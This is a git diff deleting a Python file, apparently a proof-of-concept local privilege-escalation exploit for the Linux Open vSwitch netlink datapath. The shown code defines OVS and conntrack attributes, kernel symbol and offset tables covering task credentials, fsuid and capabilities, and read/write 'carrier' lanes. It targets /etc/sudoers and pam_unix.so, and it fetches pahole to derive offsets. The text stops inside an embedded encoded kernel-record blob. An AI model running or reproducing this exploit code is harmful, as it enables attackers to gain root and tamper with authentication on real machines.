diff --git a/ovswrap-poc7.py b/ovswrap-poc7.py
deleted file mode 100644
index 4760035..0000000
--- a/ovswrap-poc7.py
+++ /dev/null
@@ -1,3198 +0,0 @@
-#!/usr/bin/env python3
-from __future__ import annotations
-
-import base64
-import errno
-import glob
-import json
-import os
-import pwd
-import re
-import shlex
-import shutil
-import socket
-import struct
-import subprocess
-import sys
-import time
-import urllib.error
-import urllib.request
-import zlib
-from dataclasses import dataclass, fields
-from typing import Any
-
-
-NLMSG_HDR = "IHHII"
-GENL_HDR = "BBH"
-NLA_HDR = "HH"
-
-NLM_F_REQUEST = 1
-NLM_F_ACK = 4
-NLM_F_CREATE = 0x400
-NETLINK_GENERIC = 16
-GENL_ID_CTRL = 0x10
-NLMSG_ERROR = 2
-CTRL_CMD_GETFAMILY = 3
-CTRL_ATTR_FAMILY_ID = 1
-CTRL_ATTR_FAMILY_NAME = 2
-
-OVS_DATAPATH_VERSION = 2
-OVS_FLOW_VERSION = 1
-
-OVS_DP_CMD_NEW = 1
-OVS_DP_ATTR_NAME = 1
-OVS_DP_ATTR_UPCALL_PID = 2
-OVS_DP_ATTR_USER_FEATURES = 5
-
-OVS_FLOW_CMD_NEW = 1
-OVS_FLOW_CMD_DEL = 2
-OVS_FLOW_CMD_GET = 3
-OVS_FLOW_ATTR_KEY = 1
-OVS_FLOW_ATTR_ACTIONS = 2
-
-OVS_KEY_ATTR_IN_PORT = 3
-OVS_KEY_ATTR_ETHERNET = 4
-OVS_KEY_ATTR_ETHERTYPE = 6
-OVS_KEY_ATTR_IPV4 = 7
-OVS_KEY_ATTR_TCP = 9
-OVS_KEY_ATTR_TUNNEL = 16
-OVS_KEY_ATTR_TCP_FLAGS = 18
-OVS_KEY_ATTR_TUNNEL_INFO = 31
-
-OVS_ACTION_ATTR_CT = 12
-OVS_ACTION_ATTR_CLONE = 20
-OVS_ACTION_ATTR_OUTPUT = 1
-OVS_ACTION_ATTR_SET = 3
-OVS_ACTION_ATTR_POP_VLAN = 5
-
-OVS_CT_ATTR_COMMIT = 1
-OVS_CT_ATTR_LABELS = 4
-OVS_CT_ATTR_HELPER = 5
-OVS_CT_ATTR_TIMEOUT = 9
-
-OVS_TUNNEL_KEY_ATTR_IPV4_SRC = 1
-OVS_TUNNEL_KEY_ATTR_IPV4_DST = 2
-OVS_TUNNEL_KEY_ATTR_TOS = 3
-OVS_TUNNEL_KEY_ATTR_TTL = 4
-OVS_TUNNEL_KEY_ATTR_TP_SRC = 9
-OVS_TUNNEL_KEY_ATTR_TP_DST = 10
-OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE = 16
-
-ETH_P_IP = 0x0800
-IPPROTO_TCP = 6
-
-BTF_DIR = "/sys/kernel/btf"
-NLA_HEADER_SIZE = 4
-KERNEL_BASE_SYMBOL = "_text"
-REQUIRED_SYMBOLS = (
-    KERNEL_BASE_SYMBOL,
-    "module_ktype",
-    "init_pid_ns",
-)
-HOST_USER_ENV = "OVS_C004_HOST_USER"
-HOST_WRITER_PID_ENV = "OVS_C004_HOST_WRITER_PID"
-HOST_WRITER_TRIGGER_FD_ENV = "OVS_C004_HOST_WRITER_TRIGGER_FD"
-HOST_WRITER_ACK_FD_ENV = "OVS_C004_HOST_WRITER_ACK_FD"
-SUDOERS_FILE = "/etc/sudoers"
-SUDOERS_DROPIN_DIR = "/etc/sudoers.d"
-PAM_UNIX_SO = "/lib/x86_64-linux-gnu/security/pam_unix.so"
-PAM_UNIX_BAK = "/lib/x86_64-linux-gnu/security/pam_unix.so.bak"
-CARRIER_TIMEOUT = "timeout"
-CARRIER_LABELS_ONLY = "labels-only"
-CARRIER_AUTO = "auto"
-CARRIER_ORDER = (CARRIER_TIMEOUT, CARRIER_LABELS_ONLY)
-CT_ACTION_COUNT = 400
-
-DWARVES_PKG_DIRNAME = "dwarves_pkg"
-DWARVES_ROOT_DIRNAME = "dwarves_root"
-
-
-def _dwarves_lib_dirs(root: str) -> list[str]:
-    lib_dirs: list[str] = []
-    for rel in (
-        "usr/lib64",
-        "usr/lib/x86_64-linux-gnu",
-        "usr/lib/aarch64-linux-gnu",
-        "usr/lib",
-    ):
-        path = os.path.join(root, rel)
-        if os.path.isdir(path):
-            lib_dirs.append(path)
-    return lib_dirs
-
-
-def _apply_dwarves_env(root: str) -> None:
-    bin_dir = os.path.join(root, "usr/bin")
-    lib_dirs = _dwarves_lib_dirs(root)
-    os.environ["PATH"] = (
-        bin_dir + ":/usr/bin:/bin:" + os.environ.get("PATH", "")
-    )
-    if lib_dirs:
-        os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs) + ":" + os.environ.get(
-            "LD_LIBRARY_PATH", ""
-        )
-
-
-def _pahole_runnable() -> bool:
-    if shutil.which("pahole") is None:
-        return False
-    try:
-        subprocess.run(
-            ["pahole", "--version"],
-            capture_output=True,
-            check=True,
-            env=os.environ,
-        )
-        return True
-    except (subprocess.CalledProcessError, OSError):
-        return False
-
-
-def _directory_allows_exec(base: str) -> bool:
-    try:
-        os.makedirs(base, exist_ok=True)
-        probe = os.path.join(base, ".ovs_c004_exec_probe")
-        with open(probe, "w", encoding="ascii") as handle:
-            handle.write("#!/bin/sh\n")
-        os.chmod(probe, 0o755)
-        subprocess.run([probe], check=True, capture_output=True)
-        os.remove(probe)
-        return True
-    except OSError:
-        return False
-
-
-def _pick_dwarves_base() -> str:
-    env_base = os.environ.get("OVS_C004_DWARES_BASE")
-    candidates: list[str] = []
-    if env_base:
-        candidates.append(env_base)
-    home = os.path.expanduser("~")
-    if home and home != "~":
-        candidates.append(os.path.join(home, ".cache", "ovs_c004"))
-    candidates.extend(("/var/tmp/ovs_c004", "/tmp"))
-    for base in candidates:
-        if _directory_allows_exec(base):
-            return base
-    raise RuntimeError(
-        "kernel needs dynamic derivation via pahole, but no writable directory "
-        "allows executing binaries (/tmp may be mounted noexec; set "
-        "OVS_C004_DWARES_BASE to a path under $HOME)"
-    )
-
-
-def _dwarves_paths(base: str) -> tuple[str, str]:
-    return (
-        os.path.join(base, DWARVES_PKG_DIRNAME),
-        os.path.join(base, DWARVES_ROOT_DIRNAME),
-    )
-
-
-def _try_existing_dwarves_root(root: str) -> bool:
-    pahole_bin = os.path.join(root, "usr/bin/pahole")
-    if not os.path.isfile(pahole_bin):
-        return False
-    try:
-        os.chmod(pahole_bin, 0o755)
-    except OSError:
-        return False
-    _apply_dwarves_env(root)
-    return _pahole_runnable()
-
-
-def _detect_pkg_family() -> str:
-    if shutil.which("apt-get") or shutil.which("apt"):
-        return "debian"
-    if shutil.which("dnf") or shutil.which("yum"):
-        return "rhel"
-    raise RuntimeError(
-        "kernel needs dynamic derivation via pahole, but no supported package "
-        "manager was found (need apt/apt-get or dnf/yum) and pahole is not installed"
-    )
-
-
-def _host_rpm_arch() -> str:
-    machine = os.uname().machine
-    if machine in ("x86_64", "amd64"):
-        return "x86_64"
-    if machine in ("aarch64", "arm64"):
-        return "aarch64"
-    return machine
-
-
-def _filter_rpms_for_host(rpm_paths: list[str]) -> list[str]:
-    arch = _host_rpm_arch()
-    matched = [
-        path
-        for path in rpm_paths
-        if path.endswith(f".{arch}.rpm") or f".{arch}." in os.path.basename(path)
-    ]
-    return sorted(matched or rpm_paths)
-
-
-def _extract_rpm_tree(rpm_path: str, root: str) -> None:
-    log(f"bootstrap: extracting {rpm_path}")
-    proc = subprocess.run(
-        f"rpm2cpio {shlex.quote(rpm_path)} | cpio -idmv",
-        shell=True,
-        cwd=root,
-        capture_output=True,
-        text=True,
-    )
-    if proc.returncode != 0:
-        raise RuntimeError(
-            f"failed to extract {rpm_path}: {proc.stderr or proc.stdout}"
-        )
-
-
-def _pahole_failure_detail(root: str) -> str:
-    pahole_bin = os.path.join(root, "usr/bin/pahole")
-    lines = [f"pahole_bin={pahole_bin} exists={os.path.isfile(pahole_bin)}"]
-    if not os.path.isfile(pahole_bin):
-        return "\n".join(lines)
-    try:
-        os.chmod(pahole_bin, 0o755)
-    except OSError as exc:
-        lines.append(f"chmod failed: {exc}")
-    _apply_dwarves_env(root)
-    proc = subprocess.run(
-        [pahole_bin, "--version"],
-        capture_output=True,
-        text=True,
-        env=os.environ,
-        check=False,
-    )
-    lines.append(f"pahole --version rc={proc.returncode}")
-    if proc.stdout.strip():
-        lines.append(f"stdout: {proc.stdout.strip()}")
-    if proc.stderr.strip():
-        lines.append(f"stderr: {proc.stderr.strip()}")
-    if shutil.which("ldd"):
-        ldd = subprocess.run(
-            ["ldd", pahole_bin],
-            capture_output=True,
-            text=True,
-            check=False,
-        )
-        ldd_out = (ldd.stdout or ldd.stderr).strip()
-        if ldd_out:
-            lines.append(f"ldd:\n{ldd_out}")
-    return "\n".join(lines)
-
-
-def _bootstrap_pahole_rhel(pkg_dir: str, root: str) -> None:
-    pkg_mgr = "dnf" if shutil.which("dnf") else "yum"
-    for tool in (pkg_mgr, "rpm2cpio", "cpio"):
-        if shutil.which(tool) is None:
-            raise RuntimeError(
-                f"kernel needs dynamic derivation via pahole, but {tool!r} is "
-                "missing and pahole is not installed"
-            )
-
-    if os.path.isdir(root):
-        shutil.rmtree(root)
-    os.makedirs(pkg_dir, exist_ok=True)
-    os.makedirs(root, exist_ok=True)
-
-    log(f"bootstrap: fetching dwarves RPMs (+ deps) via {pkg_mgr}")
-    resolved = subprocess.run(
-        [pkg_mgr, "download", f"--destdir={pkg_dir}", "--resolve", "dwarves"],
-        capture_output=True,
-        text=True,
-        check=False,
-    )
-    if resolved.returncode != 0:
-        log(
-            "bootstrap: --resolve dwarves failed, trying explicit package list "
-            f"({resolved.stderr or resolved.stdout or resolved.returncode})"
-        )
-        subprocess.run(
-            [
-                pkg_mgr,
-                "download",
-                f"--destdir={pkg_dir}",
-                "dwarves",
-                "libdwarves1",
-                "libdwarves",
-                "elfutils-libelf",
-                "elfutils-libdw",
-            ],
-            check=True,
-        )
-
-    rpm_paths = _filter_rpms_for_host(sorted(glob.glob(os.path.join(pkg_dir, "*.rpm"))))
-    if not rpm_paths:
-        raise RuntimeError(f"RPM download failed under {pkg_dir}")
-
-    # libs/elf 先解，dwarves(pahole) 最后
-    def _rpm_sort_key(path: str) -> tuple[int, str]:
-        base = os.path.basename(path)
-        if base.startswith("dwarves-"):
-            return (2, base)
-        return (1, base)
-
-    for rpm_path in sorted(rpm_paths, key=_rpm_sort_key):
-        _extract_rpm_tree(rpm_path, root)
-
-    pahole_bin = os.path.join(root, "usr/bin/pahole")
-    if not os.path.isfile(pahole_bin):
-        raise RuntimeError(
-            f"pahole binary not found after RPM extract: {pahole_bin}"
-        )
-    os.chmod(pahole_bin, 0o755)
-
-
-def _bootstrap_pahole_debian(pkg_dir: str, root: str) -> None:
-    apt = shutil.which("apt-get") or shutil.which("apt")
-    dpkg_deb = shutil.which("dpkg-deb")
-    if apt is None or dpkg_deb is None:
-        raise RuntimeError(
-            "kernel needs dynamic derivation via pahole, but apt/apt-get or "
-            "dpkg-deb is missing and pahole is not installed"
-        )
-
-    os.makedirs(pkg_dir, exist_ok=True)
-    os.makedirs(root, exist_ok=True)
-    log(f"bootstrap: fetching pahole DEBs via {apt}")
-
-    primary = subprocess.run(
-        [apt, "download", "pahole"],
-        cwd=pkg_dir,
-        capture_output=True,
-        text=True,
-        check=False,
-    )
-    if primary.returncode != 0:
-        raise RuntimeError(
-            "DEB download failed for pahole: "
-            f"{primary.stderr or primary.stdout or primary.returncode}"
-        )
-
-    for pkg in ("libdwarves1", "libdw1t64", "libdw1", "libelf1t64", "libelf1"):
-        subprocess.run(
-            [apt, "download", pkg],
-            cwd=pkg_dir,
-            capture_output=True,
-            text=True,
-            check=False,
-        )
-
-    deb_paths = sorted(glob.glob(os.path.join(pkg_dir, "*.deb")))
-    if not deb_paths:
-        raise RuntimeError(f"DEB download produced no .deb files under {pkg_dir}")
-
-    for deb_path in deb_paths:
-        log(f"bootstrap: extracting {deb_path}")
-        proc = subprocess.run(
-            [dpkg_deb, "-x", deb_path, root],
-            capture_output=True,
-            text=True,
-            check=False,
-        )
-        if proc.returncode != 0:
-            raise RuntimeError(
-                f"failed to extract {deb_path}: {proc.stderr or proc.stdout}"
-            )
-
-    pahole_bin = os.path.join(root, "usr/bin/pahole")
-    if not os.path.isfile(pahole_bin):
-        raise RuntimeError(
-            f"pahole binary not found after DEB extract: {pahole_bin}"
-        )
-    os.chmod(pahole_bin, 0o755)
-
-
-def ensure_pahole_available() -> None:
-    """Download/extract pahole when absent (Debian/apt or RHEL/dnf/yum)."""
-    if _pahole_runnable():
-        return
-
-    base = _pick_dwarves_base()
-    pkg_dir, root = _dwarves_paths(base)
-    if _try_existing_dwarves_root(root):
-        log(f"bootstrap: using existing pahole tree at {root}")
-        return
-
-    family = _detect_pkg_family()
-    if family == "debian":
-        _bootstrap_pahole_debian(pkg_dir, root)
-    else:
-        _bootstrap_pahole_rhel(pkg_dir, root)
-
-    _apply_dwarves_env(root)
-    if not _pahole_runnable():
-        detail = _pahole_failure_detail(root)
-        raise RuntimeError(
-            "pahole bootstrap completed but pahole is still unavailable in PATH "
-            f"(install root={root})\n{detail}"
-        )
-    log(f"bootstrap: pahole ready at {shutil.which('pahole')} (base={base})")
-
-
-
-def align4(value: int) -> int:
-    return (value + 3) & ~3
-
-
-def nla(attr_type: int, payload: bytes) -> bytes:
-    length = 4 + len(payload)
-    if length > 0xFFFF:
-        raise ValueError(f"netlink attribute too long: {length}")
-    return (
-        struct.pack(NLA_HDR, length, attr_type)
-        + payload
-        + (b"\x00" * (align4(length) - length))
-    )
-
-
-def cstr(value: str) -> bytes:
-    return value.encode("ascii") + b"\x00"
-
-
-@dataclass(frozen=True)
-class Attr:
-    attr_type: int
-    payload: bytes
-    raw_len: int
-
-
-@dataclass(frozen=True)
-class SymbolOffsets:
-    module_ktype: int
-    init_pid_ns: int
-
-
-@dataclass(frozen=True)
-class KernelOffsets:
-    nf_conntrack_helper_me: int
-    module_kobj_ktype: int
-    vmlinux_module_ktype: int
-    vmlinux_init_pid_ns: int
-    task_pid: int
-    task_cred: int
-    task_pid_links: int
-    cred_fsuid: int
-    cred_fsgid: int
-    cred_cap_permitted: int
-    cred_cap_effective: int
-    pid_namespace_idr: int
-    idr_idr_rt: int
-    idr_base: int
-    xarray_xa_head: int
-    xa_node_shift: int
-    xa_node_slots: int
-    pid_tasks: int
-    hlist_head_first: int
-    dst_entry_ref: int
-    dst_entry_ref_kind: str
-    metadata_dst_tun_info: int
-    ip_tunnel_key_ipv4_src: int
-    ip_tunnel_key_ipv4_dst: int
-    ip_tunnel_key_tos: int
-    ip_tunnel_key_ttl: int
-    ip_tunnel_key_tp_src: int
-    ip_tunnel_key_tp_dst: int
-    ovs_ct_labels: int
-    ovs_ct_action_len: int
-
-
-@dataclass(frozen=True)
-class TunnelReadLane:
-    name: str
-    field_offset: int
-    attr_type: int
-    payload_index: int
-    optional_zero: bool
-
-
-@dataclass(frozen=True)
-class KernelBuildRecord:
-    release: str
-    version: str
-    machine: str
-    offsets: KernelOffsets
-    read_carrier: str
-    write_carrier: str
-    read_lanes: tuple[str, ...]
-    ovs_key_attr_tunnel_info: int
-
-
-@dataclass(frozen=True)
-class KernelParameterPlan:
-    name: str
-    offsets: KernelOffsets
-    record: KernelBuildRecord | None
-
-
-KERNEL_RECORDS_DESCRIPTION = "the embedded pre-derived kernel record table"
-
-# BEGIN EMBEDDED KERNEL RECORDS
-_KERNEL_RECORDS_B85 = (b"c-rmVU2h%7+2;H6=TkJYPZBtbsJiQ=tLw~&Y~ay`Y~zuGAbT(n7RhCqTQn(9q!VSZ{n>X{FH&lf-Mw0?Sxu_>&u}mqiIEeE`uX-%_sjqKucG)r_5Ur3KmE2o`t{^&^QTz+>EFS>@%B%D-TuV+FTZ@)Tz;s3V*8o(4;@`>j^7-u-@n=X^2_Gv^5pmQA9Mb%_kRBU=Hj=L%gfDi{qr{5{`p@%ygf-jZshKdUo}52pFjWj!{wXJ+2zH@Hy4{<>Ywtq`={Q#J2^}L(LcR;b8&Q)KKIk-{d#&*f99{7b^RAOx%hBdf0p|6lPAX)Zw}WV(*FwWZ~bWczZZ8t`Td*AtFyDs>6>?(k8e)i|8CzLH@}{iq0jknaa4a!==qe(^AESbgm-@W{q<kNtNzc}{uNyBU*hsK{dD>1r+?dAu8-H3>-0;fPkeK7_RD$t!pr9`?{DYFSErjd@6HeZ-#70rKfZ6iMDqE+#Mv)zj?T~OumAe!UH#QPt$)Mc{FXk+e*T>E-#@%Lx_q;)zfsQ5-kfgEnlH1x`}3#k!_Dc3+yBw`C&zEj*1v5&yk8$}(r?DC---0Im+KGjKHUC&OF#4`eJeHJT<*?Kyx)FvmDb+-@i(U@XU#7rq4l5o{kQsuul`+sbxtmu&pJz=VssE~TmMyWKJDf!cJsw5mAAI_-|pY*H)rR^n>QbRJ^AJKH`b@0IX%C;^L6<5`r=~!@lE|1={q=mA2mPo|K0o%t-pflw|ISdd2#bwe)F4IU4PC+`qn?Hf1Q&}`YQhE^5nP8`PJp0+CP1|KHH?f^8fnum8riiKYy9(Z=lcrpXU4Rjk@<E`qq!6Z!Ptw<_G@wr@zwaX8ULDPwqh51GVy6A2@s94>qUOoATf`KfiA-KGfeg>C^u&UA%tvQ}NUPeD~d}pMHMx;-5c!`|7{{R(yYPQoLG!EVL_>jbfq>#dj}$E<}mH`BnaPadNro`k((_*Iz{xL_rip!ADlG{`Y$-`193ft6)__7<Cn;LO~RKjtaU*P|(<pPwP<7NQHt!3WoAPt7`?rLHc)JD&gy^vqnO(^|xnKy2h~h`_F$vLL@}OCnTZv;aN*~_eWZvbMt4T{aK%Wtn2fn<HyXMAG`Bc{q$qH<Hw}q$IKVn{l#vtFN>G8-M+42qfyam3Ru{NZ3<Y}&d#>%&Gt?FDpjF%bhX=*+qjL}l-s!dl-*7-Nh-I?LfdGnC?(}KY{NEe!*+JI&E9PPV{_cFtyL3~glG+J<2G*NHg0Ek+wJZ4&%a)6-PVN)(dlR%ZsRs?6K{WY{TUCUp!U(2D2}ig1yPXdmFhKn^;+)j_N()4SS(VgGK!Aksa|m#x2axn`w6>!lNP65XcMi8rlj7+ZQQ2b#_jBGSJUh5Dy7BBMN7Sn+qjL}xSic?*?)#5O<^aujVhFnBGEF1joY|QPJ-L{-Ij^(lBY#oZmZ}dIz>zZ+ptZ!4ckwd?WWv5O*1Sy8i`7%wqYB#VH>uyvpsc&<+KRtQBs#tv*`o2VVjTyw)3-XA0Q-2z1tF<CnSMw*rwWs?XQFF5VehpRub5TZP<qG{A|04Er6$mHYwb;DjF7j;5KfPlHm5&;<k-0b#D`s;5KekZ{v1$xBcW^5^b;JZJJ4N8@H*qar<j=TTIGHYPYGkaT~X(w{bhS+tuV}NinJ3)*)KXcH=f~Q*Yz;Q+E5Nd0V8(Ny^kuLcNXKxQ*Mmo!M=pCcjHcnWk=36-DDVZsRsN32x_h+f6FBzkPpEXqPrh*(zO3ASQur*oJM`&d#=(@G6<EqU);Z0yI(RCV_3(hHcoMfo(hCQ8KYDp-2gd;?50h!}b$o+i<0E5Wy+|xM$URQU6|~UOH7*t(J@!{@`yW{(S3udWb($303Qos@78Jy}(Y7dZ}Kusa(}6I?j9HHD2R2UT5~&PAITH)_;T=uyr&vVE{H@12$l12HWoi_V*VjTd-aIrz~n86<`B4U;{Q_X9hd$1$OF}YhLiwb%pI%zXaHT4cK2J*t?L_Y8sMdLQ+{)`GX`#&W5D7t^XB6NR}ETmsQp3YVUWxbXQ!e2J9-D0N8*H*nkb#S;3b58Z$m^H)>J{mzMYAHD2R2UgLFEuVq4keOmaYzAmHVnGdh=8n5v>v)69#1iRV#?3$~FKH5i|RB2h#3AU3Suzfe!Ey(u)d-KcD+2vOTwv}CAyPaU$VX&>)33eOguLf-04YpLlc7kmyKLEB@VHeo-pE2uNzvVq(r_XaLFkihGuw4zdR>7>^zT0$B9jeve53kNHuNty%TIY<aRgSLysBVaM5Dn1~ot0=OyE`$O&kL=8N`dI55Pe>M)1Q8s(%0v~1*K6Mr75IQI<wNYuaK@(o9J!UaaQ}BcFCy_#XvMfLo|gnL}w?uzmOhMT6C*L52aBWr86pRwHVj>O7tmRf1Xv`MOmEEZuR!)eJ9bjE9<E1XQiTZ(UcGk(GWdPA+4PsRY;4r6w(VMx+m+<ZKAh*(`WU!RH3VAOsjDkq9Gch^Aasa*-=D?pdfm2L=R*geM*apN}^FHjnXJRQzC6fJ{krd4Hu`hU#<W3p_6EHH;%r(WTHc~J}L{*5Dn49(GZ=T=)O4G-KwImHrp4&GF8#KB<p}^h$fDP=vj#FiKFE{(ao5l=qNU7f)0p=XyRyy&QJ6}96g}4HBoDnMro8Ljz;OsN|(KH^u5-*=EYDIx=b@HieYewhUl5%Xyr;jCXUwHv0!O=MEAwfzD@L}9n&Te?Lu8hLo`G~G;uUU=O?-+jyCsa3{RV79X=Wz9dR^7L-cHM^hlyBh+Z7gp*QGoT~%}<It>^`<sllPA)25AqO%j-7j%?8&xLgr?Ic<@bwD&k6LdiI3`F+?9rkV&{q5D;v`k4%v?YCa5Dn4v-9hvmL=W`c*}gd1MJc0UcQi_)G;uUa=T^GvjiY^E)?uQqq9%@pXo#LG>+qEyMYNQ}(aR&cFYCDXV)%OVz6ecEhmD5e6@*4;q7H=4FZ4jv;rat<#~?ULqcl+mO6OO)QoT_}dB5}S^m^l+siIIwLo`Iwc?Z$?iSFyXtM2cOu8Fp3yT8^Pn}ukICXI&ZS%~gQqy62Uj+90xqRXg#v;-Xx4bgK29oCH6rDT+1m(ucx9*Cp;-E~SSjuxpuqOzO>M`@HMjz;PHO6%S@I^4}VnioTx;%G&4G(<!6EuxKT{b~<Pv>J7QrT#n)uq>14|6E;k*3nw2yZzD4nXIx|9j#f{fzl|=qajMqp>)rq;T@w}y?5y*xQmukh8T^}yc%Nk3`Y078s6)@`|;?q@XdCA8?8fVghpr{4G}uK&;yT#Wq)gj`1%8-Q5vP^QhHn+Z4`C%;*^%&N5iTs>JXPUDp?a1Gb|7d(L5SL^bADzKN{-JV}@lK23MXj7L-Qm`5q0+5i2{=qoJ^}V}VNdJ{sz~VMkL*t7e0=j)plFjK=7>9u0$xTdQOhMlaClo=3xb9n$I1P)wmz)b$5<SRfjrc{POS{6r7D8iwB1j&#zH<~xuEX&wzhIycg$@6qs1gLKNHQ)7p&(h!R>QDHPjV>Ed*M&~!WH;<OCE&pj_M-8+v#DdWnJ(tlsRHFtBb>$c|T%yrEd34p4N2ha!K1$%p5TYS^zNo`_H7e@RhUUBF5j~JcS6z9u)JogvB)Sr%Q5vP^X^|eav7`PxHg+sfX*<*+ZSJ>7pQb?;(Mf4)X_Q83;trIaLFt~jqht5oi_K9XsgO2h6o`gsh$ilU==?<Y#~pW-{@f*<M#6Q}jD*89Ow)h|)47>;{SA21X>@aq1)?DuqKTv-dLE+tBWc@pGfTTd*)(oQmo!SFG+ojtJ%iG{UDCF@kk&pr6QzP^h=yoh4Iw%|(eK7Aze}%%FV|;H|DB6sqWNUB$7qbkXr2u*I+xKy&xZH*-~Dj@d;M)yC>_&&C3cj;G)&LMv=5^$gd6c(2wxi0zW>?Kbd9oTlMWkNAC<vqjK=7h-VMhj(&^ohM0$}%_rDvuu6IMJng%=@EtND%qx4+whGE2-()4a<SyQ?|rF-8E-Q7^SsibYHq+P{nLyX4g*&Yrn?Zc>t!_ty=EYRq_hr@dt@S2B1U+9n$Y2$e~#AuA>;Si&<8$I-J*vGU;Z8ZHIFb&f@9Kv*drpx|^L)#U1NJy(Y(s4ru4lx>|c{s%A8I10KIP^U$|F_dDoX$dNl;+_OrDssO_u<fY4IFBpZqQ1Iiibmt#%LZ6F?t50-;LQNos9l|b6EeWY1*W9tBxj-#%PSroJf~$+?{YE)X~c`dg$Ts-ZV>Mx=A~Xiq@bsN~1LIhA5p`>Cpdf=<X8T429c5m#Ix!JJJq}#%SIRF*?7|{qKfl?>1?xxyu65AkDKONY8<E@3Y}OqMJfmrDsEJqT&cGMq@OQG)Ct)dMJ{%cbDKbFNdL7-4R*~mdK=G8m7slVLB7jRevV!?_COCpQR2wZKIOt=<dL1jGil#4%N8hS(f{TOEkJalMX$7(sd=ROjLou1Eo=#P#UGPE8QDPhn`A0Jsegoqp74Z8l#zI!RUNOzZ<(u`qlcPXoyY|hlCvv4bgK2(n0%i?}im&$FhjlO7#cQ_j)^;1$a{Ebls3gLyX4g*`f}uWZa!_uV|89p3%KgN7Z+Pwu)LsCm4;<7){iH(fN&jH)j1^YQ9TRhYrmmX&W7NG)7}IJ<=GR-{_$pY2TYjTOTd!{!tpGNu*Iax6-;lkq$iz@U|yebcxXzjnTA7V|0F_dt0Qnx|?^TnQ&bdN@Ci9$8sf<Mrqy+Q98fUeeZ_%jczJwos3TXccdK{jnTXtV)P6~zZ<pw?rPHn(rHO)NJ~3D*U=b_(HPCUAx392dg$G-yt_-fVcI07U1+T-g=v_EX+mk3&cw6~h0^+NcSp0RRHvuI`a^Rm9Hmj3zyqc8E8QD-gu9{ix9=|s?b5)Zt&OHp8ly3qzyqW68$A?wguA(PV!BKthsLv~6s1v`MroAJue9lHl)l~G@p+ad9SV0*X^4hsh^7M%qO%j-+kq!N<AypqRVxkA5Dn2}9T1(J=%K8m>WZY(4m=la84VMMFb&g$9Wb4nY1<!m=&njyR8vY@cHm(&Mw516^c+U_rX8khmPMDzXsM#3NgAUun)W-4p26sMWA=8W?MkoKA5&jPI%^meL_;)06LmmzZlYa()FEB7hDN10+9-POFdCzYIxu<;qkE$c+qbr(imHm1<~xkWXrc~`p26sMW2V8kb@azVT#BQ088zK^7>&_%-(hrqqX)Y0ZZq9Vq@^Z03QD6iN|Q*VbZ(`6e<E$}65Z_V@YiXFVUaXOV>F30M&~!WH<5N-3p;ePNLrWCc#Otqj3({C=<G%hr5$qr;qYVqZB?i;)*k}XFb&f@9Kv*Nrpx|^Lvwf5@a5H6x^1Y_5DSqsMq@OQG)Ct)I`l`<?(WWxR7W?Pl~jm^ad3!+XcB3N&QEl2B3<@0cGN`cXc#qwXo#LG=@28Ml8&GVq!&nZU(#XkR?#Wx5SuQ98y6jEG)7}IkA@hX-{_%7L)#Nbi;CJu$AVIrhG_z6n9j{~)gMUvo@v7rcX*}^F&d+1yAVDqkxrjSBE3kX`!9rt`_G0KjnZ`)?W3@_1Eo=#cSDrUuXOLbVd$@<o#Gq|Mq@N-2S(3f^iU}6?lS%I>a@_NS+68f!!%68G=T?9XJ%Tfp}?c+T2yLubKB5Fp-~#8QJP{JrE@E-`=1U&-@IXn;-VOg#%PSDlE&!#M)y|IqPnhxYnLi%RYk>F7L-P5o(@quztVkAhobv8cW4`Jz-Wxd=$X=v%GyzBhZBrmn$gmqc2s>chudKm8l^EBqi3t5Ll{>_dp6)L&*<JdTJG1;r-eyGONc_$0nrdmAPv#EiMB(5wCPzTt!*?C6%BYOjnXKM(z%uPLrS~;NLrct1Eo<KrDsxFk6N*$bjgaP#VK75Dedpp(oHCB(p-3gnq{RZjnXqc96GUK%)_AzLMXi~rLC;qZq7CrCr6!3JLwt?PsOx~&PMZTeTRc-n1*SXhUqL!n_;HA4``XD4NpbuU>c@jdZso!qeiviNeCp<3uD?2GhN=_;88Q(+@dw6mKvsE8m3_yrn55b^dQq--_NE`3z5|4Aud{&hH03FX_(H;^l&!q<^EjDX?j9bRkR^mfoYhAX_$uTyi5;g)85>@O8f2A+jN!IM^i=}P#UFCdM2f<8F%qeag}yyO8a4@Z}sE7USBp!S7`uINwglNQ5vOD8m03pT@EW<-i<t7Z{8QWOeX-+`EUc%Fb&f%4bxef_G*yn^4{jsACE2zotmaqI(vxHD2>uHDeYR{^FvDO*7rC{FGA_zHjh%@jXWBqb)iDkWmL?zz%)$5G)!k^diedYytj3!VcHh8(N4D}#bFwzVH&1kIuFysvn{2)JA(Mb`R|EoQK@NK6MDcjOv5xxXJ$GKGkyQ`;rguDF2{2$$3tn9o=@r0je9^eEXP}z(&g|2Vo*Iw`?SvE^VTJlMro8rX_U^R^zZ{>xOe>U`^{nD3z2ATbgVE%X_Q83l+LX5@cUu7w;S)(`l41^n<!N@oYq2VltyWk&aCwC^I@=EN~aB`AzDo_4bw0U(=eT#>ESW);QN@?QR&vsC76b3n1*SX&cpQZoOmejZS#14kw#lYnzJpmdB8MG!!%51X1W??y6QS8?o#F<sx>E$(kPA6D2>utln%pf9+keId3<cn0aQ`dA7mad4bw0U)0vre!%Vx*8;Dh!6W6>T!Zb|J$aHA^RR@`_1g4k8^zaK}b#KvhVp>$1ZBdWgkLUa_(=9)4GcDarw<-{ro|9=&OJdsgFx~pLyU(<<b{ErD=`w`f7scz(3-UZyn6|jx!Cw70vx6F~gK*#uHmBig^X}j_LTv=)UXq|w;A>Rz(~F<65BsnW`zTR!m8eFfw%Qz+13T90?XB+9>xN|ATo-&atBDhc6P}>et#8X)R_mcS!O5;TK}v5*Yj^H5YCf;@k9J+q=pL)LU+&fU+382T{vxmafv&k$2gjR3tq*Kit$#c2R$4bo|MWlKefR38pWnRr=MUe$`tQFLFE)oK>$4*LGP;zN{-gPYu5|I|<n~IrmG*z><-7g+2H_A6;d>Kqtg-FGuYH8qpXb{D00ZHRBmC&}{OTCUfgH%G#ew{5g}j<Xxa}fbN(hH=2&Wc@@OcQIUW)@ckOMijIFLUc<W5Z@+}|g>Tq%KY2#4@FYH=Gz)#BO*2wyJY(`#`c2XY{%7T*VQ`UxKZaXpFevWssS;G6bB=!WiRUxP#UgU~&_{swRW2k^(Ky`8e7YVRNxz!wC#l__MqYPF@>t+cF+f@-LS>a0{tB_nF>^m&e2dudcpuCW0dumPLe8nEX8yPOn<sFnHL5~u=HLp4-WTSIjos;B4IfDPDyO>GU>Gk`sLmq}~%-9a@}Lp8NEROg}kL3Wk^Hedrbwe=%|y#u?